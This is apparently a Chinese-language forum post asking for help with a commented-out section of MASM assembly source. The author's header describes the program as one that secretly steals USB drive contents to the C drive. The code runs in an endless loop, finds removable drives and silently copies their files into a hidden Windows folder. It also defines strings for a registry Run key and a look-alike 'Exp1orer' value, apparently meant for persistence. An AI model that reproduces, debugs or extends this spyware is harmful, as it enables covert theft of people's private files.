帮我看看被我注释掉的这段代码。存在问题~~~~~~~源文件我也打包了。
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 后台窃取U盘内容至C盘的程序
; By Heicai
; 2007年8月12日 凌晨
;
; 感谢八进制里的Asm,看雪里的bithaha,好友巴丫丫、暗天使,
; 以及所有在我学习过程中帮助过我的人。谢谢你们!
;
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.386
.model flat,stdcall
option casemap:none
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; Include 文件定义
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
include windows.inc
include user32.inc
includelib user32.lib
include kernel32.inc
includelib kernel32.lib
include advapi32.inc
includelib advapi32.lib
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 数据段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.data?
hSave dd ?
lpDir dd 256 dup (?)
lpDirBuffer dd 256 dup (?)
lpFileName dd 256 dup (?)
stMsg MSG <>
hFile dd ?
dwFileSize dd ?
hOpenFile dd ?
lpstSysTime1 dd SYSTEMTIME<>
lpstSysTime2 dd SYSTEMTIME<>
.data
szVol db 'C',0
.const
szX db '*.*',0
szM db ':',0
szXie db '\',0
szFile db 'Active.exe',0
szRegKey db 'SOFTWARE\Microsoft\Windows\CurrentVersion\Run',0
szRegValue db 'Exp1orer',0
szC db 'C:\Windows\CopyFromU\',0
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 代码段
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
.code
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 获得文件的修改时间的子程序
_GetFileTime proc _File
LOCAL stFileLastWriteTime:FILETIME
LOCAL stLocalFileTime:FILETIME
LOCAL stSysTime:SYSTEMTIME
invoke CreateFile,addr _File,GENERIC_READ,\ ;打开文件
FILE_SHARE_READ, NULL,OPEN_EXISTING,\
FILE_FLAG_BACKUP_SEMANTICS, NULL
mov hOpenFile,eax
invoke GetFileTime,hOpenFile, NULL, NULL, ADDR stFileLastWriteTime ;获得文件修改时间
invoke FileTimeToLocalFileTime,ADDR stFileLastWriteTime, ADDR stLocalFileTime ;转换逻辑时间
invoke FileTimeToSystemTime, ADDR stLocalFileTime, ADDR stSysTime ;转换系统时间
invoke CloseHandle,hOpenFile
ret
_GetFileTime endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 递归遍历复制所有文件
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_FindFile proc szPath
LOCAL @hFindFile ;句柄
LOCAL @stFindFile:WIN32_FIND_DATA ;结构
LOCAL @szPath[MAX_PATH]:BYTE ;存放要查找的"路径\"
LOCAL @szCopyPath[MAX_PATH]:BYTE ;存放要复制的"路径\"
LOCAL @szSearch[MAX_PATH]:BYTE ;存放"路径\*.*"
LOCAL @szFindFile[MAX_PATH]:BYTE ;存放"路径\找到的文件"
LOCAL @szCopyFile[MAX_PATH]:BYTE ;存放"路径\要复制的文件"
invoke RtlZeroMemory,addr @szPath,sizeof @szPath
invoke RtlZeroMemory,addr @szCopyPath,sizeof @szCopyPath
invoke RtlZeroMemory,addr @szSearch,sizeof @szSearch
invoke RtlZeroMemory,addr @szFindFile,sizeof @szFindFile
invoke RtlZeroMemory,addr @szCopyFile,sizeof @szCopyFile
pushad
invoke lstrcpy,addr @szPath,szPath ;由参数传入要查找的"路径\"
invoke lstrlen,addr @szPath ;取"路径"的字符长度
lea esi,@szPath ;取"路径"的缓冲区首地址
xor ecx,ecx ;清零
mov cl,'\' ;添加\
.if byte ptr [esi+eax-1]!=cl ;如果"路径"的缓冲区首地址+长度的末尾一个字符不是"\"
mov word ptr [esi+eax],cx ;赋值"\"
.endif
invoke lstrcpy,addr @szSearch,addr @szPath ;将要查找的"路径\"赋给原为空的缓冲区
invoke lstrcat,addr @szSearch,addr szX ;将要查找的"路径\"加上*.*
invoke lstrcpy,addr @szCopyPath,addr szC
invoke lstrcat,addr @szCopyPath,addr @szPath+3
lea eax,@szCopyPath
invoke CreateDirectory,addr @szCopyPath,NULL
invoke FindFirstFile,addr @szSearch,addr @stFindFile ;参数一:查找的文件字符串;参数二,指向WIN32_FIND_DATA结构缓冲区
.if eax!=INVALID_HANDLE_VALUE
mov @hFindFile,eax
.repeat
invoke lstrcpy,addr @szFindFile,addr @szPath ;"路径\" 赋值给 原为空的缓冲区
invoke lstrcat,addr @szFindFile,addr @stFindFile.cFileName ;加上文件名,变成 "路径\找到的文件"
invoke lstrcpy,addr @szCopyFile,addr @szCopyPath ;"路径\" 赋值给 原为空的缓冲区
invoke lstrcat,addr @szCopyFile,addr @stFindFile.cFileName ;加上文件名,变成 "路径\要复制的文件"
.if @stFindFile.dwFileAttributes & FILE_ATTRIBUTE_DIRECTORY ;如果是目录
.if @stFindFile.cFileName!='.' ;如果非本目录
invoke CreateDirectory,addr @szCopyFile,NULL ;根据"路径\找到的文件"建立个目录
invoke _FindFile,addr @szFindFile ;递归查找
.endif
.else
invoke CreateFile,addr @szFindFile,GENERIC_READ,\ ;打开找到的文件
FILE_SHARE_READ or FILE_SHARE_WRITE,NULL,\
OPEN_EXISTING,FILE_ATTRIBUTE_ARCHIVE,NULL
.if eax != INVALID_HANDLE_VALUE
mov hFile,eax
invoke GetFileSize,hFile,NULL
mov dwFileSize,eax
.if dwFileSize<3000
invoke CloseHandle,hFile
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 判断文件修改时间是否变晚了【此段存在问题!】
; invoke _GetFileTime,@szFindFile ;获取文件修改时间的结构(U盘的文件)
; mov lpstSysTime1,eax
; invoke _GetFileTime,addr @szCopyFile ;获取文件修改时间的结构(C盘的文件)
; mov lpstSysTime2,eax
;
; invoke CompareFileTime,addr lpstSysTime1,addr lpstSysTime2 ;返回值为0日期相等,-1前者较早,1后者较早。
; .if !eax==0
; invoke MessageBox,NULL,addr szFile,addr szFile,NULL ;作为测试比较结果用的弹框
; .endif
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
invoke CopyFile,addr @szFindFile,addr @szCopyFile,FALSE
.else
invoke CloseHandle,hFile
.endif
.endif
.endif
invoke FindNextFile,@hFindFile,addr @stFindFile ;参数一:第一次查找返回的句柄;参数二,指向WIN32_FIND_DATA结构缓冲区
.until eax==FALSE
invoke FindClose,@hFindFile
.endif
popad
ret
_FindFile endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
; 循环搜索各盘符判断是否属于移动硬盘
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
_GetDiskType proc
local szDisk[10]:byte
.repeat
.while szVol<='Y' ;当盘符小于Y
invoke RtlZeroMemory,addr szDisk,sizeof szDisk ;清空缓冲区szDisk
invoke lstrcat,addr szDisk,addr szVol ;盘符赋值给szDisk
invoke lstrcat,addr szDisk,addr szM ;盘符后加上:
invoke GetDriveType,addr szDisk ;获取盘符类型
.if eax==DRIVE_REMOVABLE ;如果盘符属于移动硬盘型
invoke _FindFile,addr szDisk ;执行查找复制的子程序
.endif
inc szVol ;盘符值+1
.endw
mov szVol,'C' ;盘符值复位为C
invoke Sleep,20000 ;延迟30秒
.until szVol=='Z'
ret ;直到盘符为Z结束循环.因为每次到达Y时被复位为C,所以永远到不了Z
_GetDiskType endp
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
start:
call _GetDiskType
invoke ExitProcess,NULL
end start
;>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>>
上传的附件: